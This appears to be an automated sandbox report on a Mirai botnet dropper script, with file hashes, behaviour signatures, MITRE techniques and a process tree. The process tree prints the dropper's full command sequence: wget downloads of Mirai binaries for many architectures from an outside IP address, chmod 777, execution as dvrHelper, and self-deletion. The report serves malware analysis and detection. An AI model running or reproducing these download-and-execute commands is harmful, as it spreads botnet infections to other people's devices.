Analysis
- max time kernel
149s - max time network
148s - platform
debian-9_mipsel - resource
debian9-mipsel-20250619-en - resource tags
arch:mipselimage:debian9-mipsel-20250619-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem - submitted
05/11/2025, 04:35
Static task
static1
Behavioral task
behavioral1
Sample
bins.sh
Resource
ubuntu1804-amd64-20250619-en
Behavioral task
behavioral2
Sample
bins.sh
Resource
debian9-armhf-20250619-en
Behavioral task
behavioral3
Sample
bins.sh
Resource
debian9-mipsbe-20250619-en
Behavioral task
behavioral4
Sample
bins.sh
Resource
debian9-mipsel-20250619-en
General
- Target bins.sh
- Size 910B
- Sample251105-e7wxrsslhk
- SHA256 dd47b5f7dda2ade9c11ef05158d62d5d5f63bc909cfce42a03008f7e1b1928ff
- MD5 70301f60cfa959142e2d21c4538330cd
- SHA1 1559bd551946945a3cafcdb5f3761edef8b194d2
- SHA512 7c49014e7c5aa9487c022488e9da3d843e7a8f7f2da93d3810349122791561d0c03af121c32f766ca5bbcc73c59149e6d3abe424464e2b593e16378f4862a9f0
- MD5 SHA1 SHA512
Malware Config
Extracted
-
mirai
-
MIRAI
Extracted
-
mirai
-
MIRAI
Extracted
-
mirai
-
MIRAI
Extracted
-
mirai
-
MIRAI
Extracted
-
mirai
-
MIRAI
Signatures
- Mirai family
- Contacts a large (5922) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
- File and Directory Permissions Modification 1 TTPs 23 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 861 chmod 885 chmod 749 chmod 757 chmod 764 chmod 832 chmod 841 chmod 873 chmod 895 chmod 745 chmod 768 chmod 781 chmod 794 chmod 837 chmod 845 chmod 741 chmod 821 chmod 899 chmod 907 chmod 911 chmod 730 chmod 806 chmod 849 chmod - Deletes itself 2 IoCs
pid Process 750 dvrHelper 900 dvrHelper - Executes dropped EXE 23 IoCs
ioc pid Process /tmp/dvrHelper 731 bins.sh /tmp/dvrHelper 742 bins.sh /tmp/dvrHelper 746 bins.sh /tmp/dvrHelper 750 bins.sh /tmp/dvrHelper 761 bins.sh /tmp/dvrHelper 765 bins.sh /tmp/dvrHelper 769 bins.sh /tmp/dvrHelper 783 bins.sh /tmp/dvrHelper 795 bins.sh /tmp/dvrHelper 807 bins.sh /tmp/dvrHelper 823 bins.sh /tmp/dvrHelper 833 bins.sh /tmp/dvrHelper 838 bins.sh /tmp/dvrHelper 842 bins.sh /tmp/dvrHelper 846 bins.sh /tmp/dvrHelper 850 bins.sh /tmp/dvrHelper 862 bins.sh /tmp/dvrHelper 875 bins.sh /tmp/dvrHelper 886 bins.sh /tmp/dvrHelper 896 bins.sh /tmp/dvrHelper 900 bins.sh /tmp/dvrHelper 908 bins.sh /tmp/dvrHelper 912 bins.sh - Modifies Watchdog functionality 1 TTPs 4 IoCs
Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.
description ioc Process File opened for modification /dev/watchdog dvrHelper File opened for modification /dev/misc/watchdog dvrHelper File opened for modification /dev/watchdog dvrHelper File opened for modification /dev/misc/watchdog dvrHelper - Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
- Enumerates active TCP sockets 1 TTPs 2 IoCs
Gets active TCP sockets from /proc virtual filesystem.
description ioc Process File opened for reading /proc/net/tcp dvrHelper File opened for reading /proc/net/tcp dvrHelper - Enumerates running processes
Discovers information about currently running processes on the system
- Changes its process name 2 IoCs
description ioc pid Process Changes the process name, possibly in an attempt to hide itself lsrfo3ahaopvhogj5gkei83g0pimpmcs 750 dvrHelper Changes the process name, possibly in an attempt to hide itself 1whnvv7odidn 900 dvrHelper - Reads system network configuration 1 TTPs 2 IoCs
Uses contents of /proc filesystem to enumerate network settings.
description ioc Process File opened for reading /proc/net/tcp dvrHelper File opened for reading /proc/net/tcp dvrHelper -
description ioc Process File opened for reading /proc/678/exe dvrHelper File opened for reading /proc/706/exe dvrHelper File opened for reading /proc/754/fd dvrHelper File opened for reading /proc/707/exe dvrHelper File opened for reading /proc/177/fd dvrHelper File opened for reading /proc/657/fd dvrHelper File opened for reading /proc/394/fd dvrHelper File opened for reading /proc/753/exe dvrHelper File opened for reading /proc/684/exe dvrHelper File opened for reading /proc/376/fd dvrHelper File opened for reading /proc/684/fd dvrHelper File opened for reading /proc/684/exe dvrHelper File opened for reading /proc/685/exe dvrHelper File opened for reading /proc/700/exe dvrHelper File opened for reading /proc/809/exe dvrHelper File opened for reading /proc/819/exe dvrHelper File opened for reading /proc/1/fd dvrHelper File opened for reading /proc/395/fd dvrHelper File opened for reading /proc/678/exe dvrHelper File opened for reading /proc/708/fd dvrHelper File opened for reading /proc/657/exe dvrHelper File opened for reading /proc/262/fd dvrHelper File opened for reading /proc/906/exe dvrHelper File opened for reading /proc/262/fd dvrHelper File opened for reading /proc/700/fd dvrHelper File opened for reading /proc/713/exe dvrHelper File opened for reading /proc/372/fd dvrHelper File opened for reading /proc/685/exe dvrHelper File opened for reading /proc/708/exe dvrHelper File opened for reading /proc/369/fd dvrHelper File opened for reading /proc/678/fd dvrHelper File opened for reading /proc/675/exe dvrHelper File opened for reading /proc/346/fd dvrHelper File opened for reading /proc/675/exe dvrHelper File opened for reading /proc/705/exe dvrHelper File opened for reading /proc/713/exe dvrHelper File opened for reading /proc/818/exe dvrHelper File opened for reading /proc/371/fd dvrHelper File opened for reading /proc/372/fd dvrHelper File opened for reading /proc/751/fd dvrHelper File opened for reading /proc/760/exe dvrHelper File opened for reading /proc/395/fd dvrHelper File opened for reading /proc/407/fd dvrHelper File opened for reading /proc/706/exe dvrHelper File opened for reading /proc/1/fd dvrHelper File opened for reading /proc/394/fd dvrHelper File opened for reading /proc/713/fd dvrHelper File opened for reading /proc/657/exe dvrHelper File opened for reading /proc/376/fd dvrHelper File opened for reading /proc/346/fd dvrHelper File opened for reading /proc/753/fd dvrHelper File opened for reading /proc/177/fd dvrHelper File opened for reading /proc/397/fd dvrHelper File opened for reading /proc/814/exe dvrHelper File opened for reading /proc/685/fd dvrHelper File opened for reading /proc/705/exe dvrHelper File opened for reading /proc/707/exe dvrHelper File opened for reading /proc/369/fd dvrHelper File opened for reading /proc/760/exe dvrHelper File opened for reading /proc/154/fd dvrHelper File opened for reading /proc/397/fd dvrHelper File opened for reading /proc/675/fd dvrHelper File opened for reading /proc/154/fd dvrHelper File opened for reading /proc/371/fd dvrHelper - System Network Configuration Discovery 1 TTPs 2 IoCs
Adversaries may gather information about the network configuration of a system.
pid Process 785 wget 844 wget - Writes file to tmp directory 23 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/dvrHelper wget File opened for modification /tmp/dvrHelper wget File opened for modification /tmp/dvrHelper wget File opened for modification /tmp/dvrHelper wget File opened for modification /tmp/dvrHelper wget File opened for modification /tmp/dvrHelper wget File opened for modification /tmp/dvrHelper wget File opened for modification /tmp/dvrHelper wget File opened for modification /tmp/dvrHelper wget File opened for modification /tmp/dvrHelper wget File opened for modification /tmp/dvrHelper wget File opened for modification /tmp/dvrHelper wget File opened for modification /tmp/dvrHelper wget File opened for modification /tmp/dvrHelper wget File opened for modification /tmp/dvrHelper wget File opened for modification /tmp/dvrHelper wget File opened for modification /tmp/dvrHelper wget File opened for modification /tmp/dvrHelper wget File opened for modification /tmp/dvrHelper wget File opened for modification /tmp/dvrHelper wget File opened for modification /tmp/dvrHelper wget File opened for modification /tmp/dvrHelper wget File opened for modification /tmp/dvrHelper wget
Processes
-
/tmp/bins.sh/tmp/bins.sh1⤵
- Executes dropped EXE
PID:708 -
/usr/bin/wgetwget http://45.133.119.221:80/bins/mirai.arm5n -O dvrHelper2⤵
- Writes file to tmp directory
PID:710
-
-
/bin/chmodchmod 777 dvrHelper2⤵
- File and Directory Permissions Modification
PID:730
-
-
/tmp/dvrHelper./dvrHelper2⤵PID:731
-
-
/usr/bin/wgetwget http://45.133.119.221:80/bins/mirai.armv7a -O dvrHelper2⤵
- Writes file to tmp directory
PID:733
-
-
/bin/chmodchmod 777 dvrHelper2⤵
- File and Directory Permissions Modification
PID:741
-
-
/tmp/dvrHelper./dvrHelper2⤵PID:742
-
-
/usr/bin/wgetwget http://45.133.119.221:80/bins/mirai.m68k -O dvrHelper2⤵
- Writes file to tmp directory
PID:744
-
-
/bin/chmodchmod 777 dvrHelper2⤵
- File and Directory Permissions Modification
PID:745
-
-
/tmp/dvrHelper./dvrHelper2⤵PID:746
-
-
/usr/bin/wgetwget http://45.133.119.221:80/bins/mirai.mpsl -O dvrHelper2⤵
- Writes file to tmp directory
PID:748
-
-
/bin/chmodchmod 777 dvrHelper2⤵
- File and Directory Permissions Modification
PID:749
-
-
/tmp/dvrHelper./dvrHelper2⤵
- Deletes itself
- Modifies Watchdog functionality
- Enumerates active TCP sockets
- Changes its process name
- Reads system network configuration
- Reads runtime system information
PID:750
-
-
/usr/bin/wgetwget http://45.133.119.221:80/bins/mirai.sh4 -O dvrHelper2⤵
- Writes file to tmp directory
PID:752
-
-
/bin/chmodchmod 777 dvrHelper2⤵
- File and Directory Permissions Modification
PID:757
-
-
/tmp/dvrHelper./dvrHelper2⤵PID:761
-
-
/usr/bin/wgetwget http://45.133.119.221:80/bins/mirai.x86 -O dvrHelper2⤵
- Writes file to tmp directory
PID:763
-
-
/bin/chmodchmod 777 dvrHelper2⤵
- File and Directory Permissions Modification
PID:764
-
-
/tmp/dvrHelper./dvrHelper2⤵PID:765
-
-
/usr/bin/wgetwget http://45.133.119.221:80/bins/miraint.arm5n -O dvrHelper2⤵
- Writes file to tmp directory
PID:767
-
-
/bin/chmodchmod 777 dvrHelper2⤵
- File and Directory Permissions Modification
PID:768
-
-
/tmp/dvrHelper./dvrHelper2⤵PID:769
-
-
/usr/bin/wgetwget http://45.133.119.221:80/bins/miraint.armv7a -O dvrHelper2⤵
- Writes file to tmp directory
PID:771
-
-
/bin/chmodchmod 777 dvrHelper2⤵
- File and Directory Permissions Modification
PID:781
-
-
/tmp/dvrHelper./dvrHelper2⤵PID:783
-
-
/usr/bin/wgetwget http://45.133.119.221:80/bins/miraint.mips -O dvrHelper2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:785
-
-
/bin/chmodchmod 777 dvrHelper2⤵
- File and Directory Permissions Modification
PID:794
-
-
/tmp/dvrHelper./dvrHelper2⤵PID:795
-
-
/usr/bin/wgetwget http://45.133.119.221:80/bins/miraint.ppc -O dvrHelper2⤵
- Writes file to tmp directory
PID:797
-
-
/bin/chmodchmod 777 dvrHelper2⤵
- File and Directory Permissions Modification
PID:806
-
-
/tmp/dvrHelper./dvrHelper2⤵PID:807
-
-
/usr/bin/wgetwget http://45.133.119.221:80/bins/miraint.spc -O dvrHelper2⤵
- Writes file to tmp directory
PID:809
-
-
/bin/chmodchmod 777 dvrHelper2⤵
- File and Directory Permissions Modification
PID:821
-
-
/tmp/dvrHelper./dvrHelper2⤵PID:823
-
-
/usr/bin/wgetwget http://45.133.119.221:80/bins/mirai.arm -O dvrHelper2⤵
- Writes file to tmp directory
PID:825
-
-
/bin/chmodchmod 777 dvrHelper2⤵
- File and Directory Permissions Modification
PID:832
-
-
/tmp/dvrHelper./dvrHelper2⤵PID:833
-
-
/usr/bin/wgetwget http://45.133.119.221:80/bins/mirai.arm7 -O dvrHelper2⤵
- Writes file to tmp directory
PID:836
-
-
/bin/chmodchmod 777 dvrHelper2⤵
- File and Directory Permissions Modification
PID:837
-
-
/tmp/dvrHelper./dvrHelper2⤵PID:838
-
-
/usr/bin/wgetwget http://45.133.119.221:80/bins/mirai.gnueabihf -O dvrHelper2⤵
- Writes file to tmp directory
PID:840
-
-
/bin/chmodchmod 777 dvrHelper2⤵
- File and Directory Permissions Modification
PID:841
-
-
/tmp/dvrHelper./dvrHelper2⤵PID:842
-
-
/usr/bin/wgetwget http://45.133.119.221:80/bins/mirai.mips -O dvrHelper2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:844
-
-
/bin/chmodchmod 777 dvrHelper2⤵
- File and Directory Permissions Modification
PID:845
-
-
/tmp/dvrHelper./dvrHelper2⤵PID:846
-
-
/usr/bin/wgetwget http://45.133.119.221:80/bins/mirai.ppc -O dvrHelper2⤵
- Writes file to tmp directory
PID:848
-
-
/bin/chmodchmod 777 dvrHelper2⤵
- File and Directory Permissions Modification
PID:849
-
-
/tmp/dvrHelper./dvrHelper2⤵PID:850
-
-
/usr/bin/wgetwget http://45.133.119.221:80/bins/mirai.spc -O dvrHelper2⤵
- Writes file to tmp directory
PID:852
-
-
/bin/chmodchmod 777 dvrHelper2⤵
- File and Directory Permissions Modification
PID:861
-
-
/tmp/dvrHelper./dvrHelper2⤵PID:862
-
-
/usr/bin/wgetwget http://45.133.119.221:80/bins/miraint.arm -O dvrHelper2⤵
- Writes file to tmp directory
PID:865
-
-
/bin/chmodchmod 777 dvrHelper2⤵
- File and Directory Permissions Modification
PID:873
-
-
/tmp/dvrHelper./dvrHelper2⤵PID:875
-
-
/usr/bin/wgetwget http://45.133.119.221:80/bins/miraint.arm7 -O dvrHelper2⤵
- Writes file to tmp directory
PID:877
-
-
/bin/chmodchmod 777 dvrHelper2⤵
- File and Directory Permissions Modification
PID:885
-
-
/tmp/dvrHelper./dvrHelper2⤵PID:886
-
-
/usr/bin/wgetwget http://45.133.119.221:80/bins/miraint.m68k -O dvrHelper2⤵
- Writes file to tmp directory
PID:888
-
-
/bin/chmodchmod 777 dvrHelper2⤵
- File and Directory Permissions Modification
PID:895
-
-
/tmp/dvrHelper./dvrHelper2⤵PID:896
-
-
/usr/bin/wgetwget http://45.133.119.221:80/bins/miraint.mpsl -O dvrHelper2⤵
- Writes file to tmp directory
PID:898
-
-
/bin/chmodchmod 777 dvrHelper2⤵
- File and Directory Permissions Modification
PID:899
-
-
/tmp/dvrHelper./dvrHelper2⤵
- Deletes itself
- Modifies Watchdog functionality
- Enumerates active TCP sockets
- Changes its process name
- Reads system network configuration
- Reads runtime system information
PID:900
-
-
/usr/bin/wgetwget http://45.133.119.221:80/bins/miraint.sh4 -O dvrHelper2⤵
- Writes file to tmp directory
PID:905
-
-
/bin/chmodchmod 777 dvrHelper2⤵
- File and Directory Permissions Modification
PID:907
-
-
/tmp/dvrHelper./dvrHelper2⤵PID:908
-
-
/usr/bin/wgetwget http://45.133.119.221:80/bins/miraint.x86 -O dvrHelper2⤵
- Writes file to tmp directory
PID:910
-
-
/bin/chmodchmod 777 dvrHelper2⤵
- File and Directory Permissions Modification
PID:911
-
-
/tmp/dvrHelper./dvrHelper2⤵PID:912
-
-
/bin/rmrm ./bins.sh2⤵PID:914
-
-
/bin/rmrm ./dvrHelper2⤵PID:915
-
Network
MITRE ATT&CK Enterprise v16
Defense Evasion
File and Directory Permissions Modification
1Linux and Mac File and Directory Permissions Modification
1Impair Defenses
1Replay Monitor
Loading Replay Monitor...
Downloads
- Path /tmp/dvrHelper
- Size 52KB
- SHA256 be5cdd7fa8e206af1675707eb9ca01385a883c969017db9f9fa36b3ec0f90b7b
- MD5 c26a90f7fde605221345b15eb8b034ba
- SHA1 c70de717b295a38c5bc1c41703b7789f1190cf07
- SHA512 f5bc6b6e128b8a3469f43ca0c270b1975c8efd8b56f7347228c99a1867ec718d018879fe04a967855c8f1b37461007b20f1c3886f9b908a18c790d3bbb077658
- SSDEEP 1536:t1AzmE7Ok0uBsWiPRD+aAb76rL2yBCNt5sw8Q:vAzmE6k0vgkvkbsw8Q
- MD5 SHA1 SHA512 SSDEEP
- Path /tmp/dvrHelper
- Size 389KB
- SHA256 1e4a4619afecc3f53f118f7cd0fbf07038563dfa879eeb0335ac84f980c08a5a
- MD5 f95b9cc6b617c818b5604cb4db27ff55
- SHA1 28d0be63b693b547184bf28a098998c6e03a714f
- SHA512 b23024792d5e58cc03c25c7994ab25640c760770cde84e19cec8bdec5a19254cff6d2750f30bb992f6c15250cdb8561317e5d326d31c8134e6b0e086a0e8758a
- SSDEEP 12288:iMv3JZdjsLC4ADMtk3tvHQTBwBT8prZB9:jvl2GVpHM
- MD5 SHA1 SHA512 SSDEEP
- Path /tmp/dvrHelper
- Size 58KB
- SHA256 11a9bb6be3b240551ac877e8295bd8e2d037e24037c652026b180095a874c014
- MD5 abd623c4ae976460f2211978b1c9da3f
- SHA1 f0596a304b5a4511c6f1713f0efe9627719747b8
- SHA512 efd956365c9048dd1f69fd867f1c46035a4d7bc2ff73803df7a3e5d339f5944c043ba49ef87f9f8fa627d921b9965587f1c3b0202d2fbc9b355b124262213d07
- SSDEEP 1536:TKgor9Y1msaRM5PA+6X6aCkBnKSQDVFQFM8L:R6sEM5YXfLNmF2N
- MD5 SHA1 SHA512 SSDEEP
- Path /tmp/dvrHelper
- Size 78KB
- SHA256 4f3de52ed263ee374741fc38bb64cc08c7bba38e59333c251eebc5b691c6255c
- MD5 13f4b0a28b1e5b08bdac6bedcd0acd57
- SHA1 8d900eef06b80428c84566ab2e29221518777bfc
- SHA512 94589ecb9a08e75cb1c3df2ba5bb10fde83069583be2f53ee2024bbc09e08c6e61f5c08dc1c9a0f7af7eedd6514e23872194b8185e9985d0f5d294d527318e2d
- SSDEEP 1536:JEGFfut1WjhZRcogB2UHqsZMDuPSwtOA3B:J7Ffut14hLgB2U/O
- MD5 SHA1 SHA512 SSDEEP
- Path /tmp/dvrHelper
- Size 53KB
- SHA256 e632c1dee6c9f187f36e633ac3db7a0f3db30a936129c04ebaa7e5b074631b51
- MD5 5765ec5b75582f635dac7317ee895158
- SHA1 376a24db08e59f54c9bd2c04a5cf83360346b325
- SHA512 ce9295a3ea79451e2dd22dd2486ba527c1b2b3cd5769649ca3e968afb2c80927452453d0c11342ff3c2100c001ad883765c3d7c92d710387a7e63eaaee88d89e
- SSDEEP 1536:DoaN/rpY6ODwtAVCo0s1P9qIGDS6owCc:Do4jnkLCsF6ow
- MD5 SHA1 SHA512 SSDEEP
- Path /tmp/dvrHelper
- Size 389KB
- SHA256 0afd92a80f897f53fac6413dbeebbc800844e34c8fbbd7c335deb8ca4758fa6e
- MD5 bb64d8823df3b570f44e165301d562a2
- SHA1 12279d02fe4c82c35a506adc5cae2898a3948628
- SHA512 6254ed3f3652e88eca6b136e4baf4253e7f88070db7f116fb51ee99a5cb35a5b78d465f30e5e79c4651360b3d33983e9c749603df701c0de30cfcf042c3080a0
- SSDEEP 12288:60HTa+UNeLLOZghK3jrPRmcvjI8prZR7:60HTabZjPPv
- MD5 SHA1 SHA512 SSDEEP